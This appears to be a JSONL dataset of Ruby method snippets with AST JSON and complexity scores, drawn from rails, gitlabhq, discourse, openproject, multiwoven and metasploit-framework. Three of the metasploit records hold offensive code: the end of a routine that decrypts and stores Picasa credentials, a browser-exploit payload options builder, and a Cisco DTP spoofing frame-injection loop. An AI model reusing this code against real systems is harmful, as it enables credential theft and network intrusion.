casa3\\\\Preferences\\\\\"]},{\"type\":\"str\",\"children\":[\"GaiaPass\"]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"username\"]},\"empty?\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"password\"]},\"empty?\"]},\"!\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"passbin\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"password\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"H*\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"pass\",{\"type\":\"send\",\"children\":[null,\"decrypt_password\",{\"type\":\"lvar\",\"children\":[\"passbin\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pass\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pass\"]},\"empty?\"]},\"!\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Found Picasa 3 credentials.\"]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Username: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"username\"]}]},{\"type\":\"str\",\"children\":[\"\\t Password: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pass\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"foundcreds\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"credentials\"]},\"<<\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"username\"]},{\"type\":\"lvar\",\"children\":[\"pass\"]}]}]}]},null]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"foundcreds\"]},\"==\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[null,\"store_loot\",{\"type\":\"str\",\"children\":[\"picasa.creds\"]},{\"type\":\"str\",\"children\":[\"text/csv\"]},{\"type\":\"send\",\"children\":[null,\"session\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"credentials\"]},\"to_csv\"]},{\"type\":\"str\",\"children\":[\"decrypted_picasa_data.csv\"]},{\"type\":\"str\",\"children\":[\"Decrypted Picasa Passwords\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Decrypted passwords saved in: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"No Picasa credentials found.\"]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"An error has occurred: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]}]},null]}]}","id":"fe7f4b90-76ca-40d1-9714-56ac26bea897"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/dispatch/routing_test.rb","start_line":3575,"raw_source":"def test_shallow_path_inside_namespace_is_not_added_twice\n    draw do\n      namespace :admin do\n        shallow do\n          resources :posts do\n            resources :comments\n          end\n        end\n      end\n    end\n\n    get \"/admin/posts/1/comments\"\n    assert_equal \"admin/comments#index\", @response.body\n    assert_equal \"/admin/posts/1/comments\", admin_post_comments_path(\"1\")\n  end","complexity_score":16.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_shallow_path_inside_namespace_is_not_added_twice\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"draw\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"namespace\",{\"type\":\"sym\",\"children\":[\"admin\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"shallow\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"resources\",{\"type\":\"sym\",\"children\":[\"posts\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"resources\",{\"type\":\"sym\",\"children\":[\"comments\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"str\",\"children\":[\"/admin/posts/1/comments\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"admin/comments#index\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"body\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"/admin/posts/1/comments\"]},{\"type\":\"send\",\"children\":[null,\"admin_post_comments_path\",{\"type\":\"str\",\"children\":[\"1\"]}]}]}]}]}","id":"0dba54bc-a337-4fd0-99d0-5286e2b6b4dc"}
{"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20200818084329_update_private_message_on_post_search_data.rb","start_line":7,"raw_source":"def update_private_message_flag\n    sql = <<~SQL\n      UPDATE post_search_data\n      SET private_message = X.private_message\n      FROM\n      (\n        SELECT post_id,\n          CASE WHEN t.archetype = 'private_message' THEN TRUE ELSE FALSE END private_message\n        FROM posts p\n        JOIN post_search_data pd ON pd.post_id = p.id\n        JOIN topics t ON t.id = p.topic_id\n        WHERE pd.private_message IS NULL OR\n          pd.private_message <> CASE WHEN t.archetype = 'private_message' THEN TRUE ELSE FALSE END\n        LIMIT 3000000\n      ) X\n      WHERE X.post_id = post_search_data.post_id\n    SQL\n\n    while true\n      count = execute(sql).cmd_tuples\n      if count == 0\n        break\n      else\n        puts \"Migrated batch of #{count} on post_search_date to new schema\"\n      end\n    end\n  end","complexity_score":9.5,"ast_json":"{\"type\":\"def\",\"children\":[\"update_private_message_flag\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"sql\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"UPDATE post_search_data\\n\"]},{\"type\":\"str\",\"children\":[\"SET private_message = X.private_message\\n\"]},{\"type\":\"str\",\"children\":[\"FROM\\n\"]},{\"type\":\"str\",\"children\":[\"(\\n\"]},{\"type\":\"str\",\"children\":[\"  SELECT post_id,\\n\"]},{\"type\":\"str\",\"children\":[\"    CASE WHEN t.archetype = 'private_message' THEN TRUE ELSE FALSE END private_message\\n\"]},{\"type\":\"str\",\"children\":[\"  FROM posts p\\n\"]},{\"type\":\"str\",\"children\":[\"  JOIN post_search_data pd ON pd.post_id = p.id\\n\"]},{\"type\":\"str\",\"children\":[\"  JOIN topics t ON t.id = p.topic_id\\n\"]},{\"type\":\"str\",\"children\":[\"  WHERE pd.private_message IS NULL OR\\n\"]},{\"type\":\"str\",\"children\":[\"    pd.private_message <> CASE WHEN t.archetype = 'private_message' THEN TRUE ELSE FALSE END\\n\"]},{\"type\":\"str\",\"children\":[\"  LIMIT 3000000\\n\"]},{\"type\":\"str\",\"children\":[\") X\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE X.post_id = post_search_data.post_id\\n\"]}]}]},{\"type\":\"while\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"count\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"lvar\",\"children\":[\"sql\"]}]},\"cmd_tuples\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"count\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"break\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Migrated batch of \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"count\"]}]},{\"type\":\"str\",\"children\":[\" on post_search_date to new schema\"]}]}]}]}]}]}]}]}","id":"84fa9b86-d178-4036-87d5-c6e5692352a3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/ci/deployable.rb","start_line":183,"raw_source":"def stops_environment?\n      has_environment_keyword? && environment_action == 'stop'\n    end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"stops_environment?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"has_environment_keyword?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"environment_action\"]},\"==\",{\"type\":\"str\",\"children\":[\"stop\"]}]}]}]}","id":"37d9bf31-2710-4d3d-888b-645c0ac916e5"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/matchers/pushed_frontend_ability_matcher.rb","start_line":8,"raw_source":"def html(actual)\n    actual.try(:html) || actual\n  end","complexity_score":2.1,"ast_json":"{\"type\":\"def\",\"children\":[\"html\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"actual\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"actual\"]},\"try\",{\"type\":\"sym\",\"children\":[\"html\"]}]},{\"type\":\"lvar\",\"children\":[\"actual\"]}]}]}","id":"fd709d8e-8891-4022-954b-c82264ce9c14"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/server/browser_autopwn2.rb","start_line":90,"raw_source":"def get_advanced_options\n    opts = []\n    DEFAULT_PAYLOADS.each_pair do |platform, payload_info|\n      opts << OptString.new(\"PAYLOAD_#{platform.to_s.upcase}\", [true, \"Payload for #{platform} browser exploits\", payload_info[:payload] ])\n      opts << OptInt.new(\"PAYLOAD_#{platform.to_s.upcase}_LPORT\", [true, \"Payload LPORT for #{platform} browser exploits\", payload_info[:lport]])\n      opts << OptAddress.new(\"LHOST\", [true, \"The local host for the exploits and handlers\", Rex::Socket.source_address])\n    end\n\n    opts\n  end","complexity_score":22.4,"ast_json":"{\"type\":\"def\",\"children\":[\"get_advanced_options\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"opts\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DEFAULT_PAYLOADS\"]},\"each_pair\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"platform\"]},{\"type\":\"arg\",\"children\":[\"payload_info\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"PAYLOAD_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"platform\"]},\"to_s\"]},\"upcase\"]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload for \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"platform\"]}]},{\"type\":\"str\",\"children\":[\" browser exploits\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload_info\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"payload\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptInt\"]},\"new\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"PAYLOAD_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"platform\"]},\"to_s\"]},\"upcase\"]}]},{\"type\":\"str\",\"children\":[\"_LPORT\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload LPORT for \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"platform\"]}]},{\"type\":\"str\",\"children\":[\" browser exploits\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload_info\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"lport\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptAddress\"]},\"new\",{\"type\":\"str\",\"children\":[\"LHOST\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The local host for the exploits and handlers\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Socket\"]},\"source_address\"]}]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]}","id":"939c81d5-95f1-4a69-bd4f-8f1e9b68aa97"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/controllers/projects/jobs_controller_spec.rb","start_line":693,"raw_source":"def get_test_report_summary\n      get :test_report_summary,\n        params: {\n          namespace_id: project.namespace,\n          project_id: project,\n          id: build.id\n        },\n        format: :json\n    end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"get_test_report_summary\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"test_report_summary\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"namespace_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"namespace\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"build\"]},\"id\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"format\"]},{\"type\":\"sym\",\"children\":[\"json\"]}]}]}]}]}","id":"d2ea751a-75f3-4e78-878b-c166a2eb5bad"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/count/tablesample_count_strategy.rb","start_line":47,"raw_source":"def where_clause(model)\n          return unless sti_model?(model)\n\n          \"WHERE #{model.inheritance_column} = '#{model.name}'\"\n        end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"where_clause\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"model\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sti_model?\",{\"type\":\"lvar\",\"children\":[\"model\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"WHERE \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"inheritance_column\"]}]},{\"type\":\"str\",\"children\":[\" = '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]}]}","id":"ade05f25-2f14-49f7-8030-63d96f49c3bf"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/requests/api/helm_packages_spec.rb","start_line":22,"raw_source":"def snowplow_context(user_role: :developer)\n    if user_role == :anonymous\n      { project: project, namespace: project.namespace, property: 'i_package_helm_user' }\n    else\n      { project: project, namespace: project.namespace, property: 'i_package_helm_user', user: user }\n    end\n  end","complexity_score":10.1,"ast_json":"{\"type\":\"def\",\"children\":[\"snowplow_context\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"user_role\",{\"type\":\"sym\",\"children\":[\"developer\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_role\"]},\"==\",{\"type\":\"sym\",\"children\":[\"anonymous\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"namespace\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"namespace\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"property\"]},{\"type\":\"str\",\"children\":[\"i_package_helm_user\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"namespace\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"namespace\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"property\"]},{\"type\":\"str\",\"children\":[\"i_package_helm_user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"user\"]}]}]}]}]}","id":"8426f2e4-f347-4f49-8cdd-a773bd0fd015"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/contracts/roles/base_contract.rb","start_line":79,"raw_source":"def check_permission_prerequisites\n      model.permissions.each do |name|\n        permission = OpenProject::AccessControl.permission(name)\n\n        next unless permission\n\n        unmet_dependencies = permission.dependencies - model.permissions\n\n        unmet_dependencies.each do |unmet_dependency|\n          add_unmet_dependency_error(name, unmet_dependency)\n        end\n      end\n    end","complexity_score":18.7,"ast_json":"{\"type\":\"def\",\"children\":[\"check_permission_prerequisites\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"permissions\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"permission\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenProject\"]},\"AccessControl\"]},\"permission\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"permission\"]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"unmet_dependencies\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"permission\"]},\"dependencies\"]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"permissions\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"unmet_dependencies\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"unmet_dependency\"]}]},{\"type\":\"send\",\"children\":[null,\"add_unmet_dependency_error\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"unmet_dependency\"]}]}]}]}]}]}","id":"a8ef960b-9c04-466f-924f-f37fb00b65cd"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/presenters/ci/pipeline_presenter.rb","start_line":68,"raw_source":"def coverage\n      return unless pipeline.coverage.present?\n\n      '%.2f' % pipeline.coverage\n    end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"coverage\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pipeline\"]},\"coverage\"]},\"present?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"%.2f\"]},\"%\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pipeline\"]},\"coverage\"]}]}]}]}","id":"0367465c-38d6-4612-9793-0ff69a37279c"}
{"repo_name":"multiwoven","file_path":"./repos/multiwoven/server/lib/reverse_etl/extractors/full_refresh.rb","start_line":38,"raw_source":"def process_records(records, sync_run, model)\n        sync_records_to_save = build_sync_records_in_parallel(records, sync_run, model)\n        return if sync_records_to_save.empty?\n\n        result = SyncRecord.insert_all(sync_records_to_save, returning: %w[primary_key]) # rubocop:disable Rails/SkipsModelValidations\n        return if records.count == sync_records_to_save.count && sync_records_to_save.count == result.rows.size\n\n        log_mismatch_error(records, sync_records_to_save, result.rows.flatten,\n                           sync_run)\n      rescue StandardError => e\n        # Utils::ExceptionReporter.report(e, {\n        #                                   sync_id: sync_run.sync_id,\n        #                                   sync_run_id: sync_run.id\n        #                                 })\n        log_error(\"#{e.message}. Sync ID: #{sync_run.sync_id}, Sync Run ID: #{sync_run.id}.\")\n      end","complexity_score":31.2,"ast_json":"{\"type\":\"def\",\"children\":[\"process_records\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"records\"]},{\"type\":\"arg\",\"children\":[\"sync_run\"]},{\"type\":\"arg\",\"children\":[\"model\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"sync_records_to_save\",{\"type\":\"send\",\"children\":[null,\"build_sync_records_in_parallel\",{\"type\":\"lvar\",\"children\":[\"records\"]},{\"type\":\"lvar\",\"children\":[\"sync_run\"]},{\"type\":\"lvar\",\"children\":[\"model\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sync_records_to_save\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SyncRecord\"]},\"insert_all\",{\"type\":\"lvar\",\"children\":[\"sync_records_to_save\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"returning\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"primary_key\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"records\"]},\"count\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sync_records_to_save\"]},\"count\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sync_records_to_save\"]},\"count\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"rows\"]},\"size\"]}]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"log_mismatch_error\",{\"type\":\"lvar\",\"children\":[\"records\"]},{\"type\":\"lvar\",\"children\":[\"sync_records_to_save\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"rows\"]},\"flatten\"]},{\"type\":\"lvar\",\"children\":[\"sync_run\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"log_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]},{\"type\":\"str\",\"children\":[\". Sync ID: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sync_run\"]},\"sync_id\"]}]},{\"type\":\"str\",\"children\":[\", Sync Run ID: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sync_run\"]},\"id\"]}]},{\"type\":\"str\",\"children\":[\".\"]}]}]}]},null]}]}","id":"1baf3e93-1f59-4d0f-a82c-b0d070cf2617"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/spoof/cisco/dtp.rb","start_line":68,"raw_source":"def run\n    unless smac\n      print_error('Source MAC (SMAC) should be defined')\n      return\n    end\n\n    unless is_mac?(smac)\n      print_error(\"Source MAC (SMAC) `#{smac}' is badly formatted.\")\n      return\n    end\n\n    print_status 'Starting DTP spoofing service...'\n    open_pcap({ 'FILTER' => 'ether host 01:00:0c:cc:cc:cc' })\n    datastore['INTERFACE'] || Pcap.lookupdev\n    dtp = build_dtp_frame\n    @run = true\n\n    while @run\n      capture.inject(dtp.to_s)\n      select(nil, nil, nil, 60)\n    end\n\n    close_pcap\n  end","complexity_score":27.25,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"smac\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Source MAC (SMAC) should be defined\"]}]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"is_mac?\",{\"type\":\"send\",\"children\":[null,\"smac\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Source MAC (SMAC) `\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"smac\"]}]},{\"type\":\"str\",\"children\":[\"' is badly formatted.\"]}]}]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Starting DTP spoofing service...\"]}]},{\"type\":\"send\",\"children\":[null,\"open_pcap\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"FILTER\"]},{\"type\":\"str\",\"children\":[\"ether host 01:00:0c:cc:cc:cc\"]}]}]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"INTERFACE\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Pcap\"]},\"lookupdev\"]}]},{\"type\":\"lvasgn\",\"children\":[\"dtp\",{\"type\":\"send\",\"children\":[null,\"build_dtp_frame\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@run\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"while\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@run\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"capture\"]},\"inject\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dtp\"]},\"to_s\"]}]},{\"type\":\"send\",\"children\":[null,\"select\",{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"int\",\"children\":[60]}]}]}]},{\"type\":\"send\",\"children\":[null,\"close_pcap\"]}]}]}","id":"6f166448-cea2-4e17-970a-7357285172cd"}
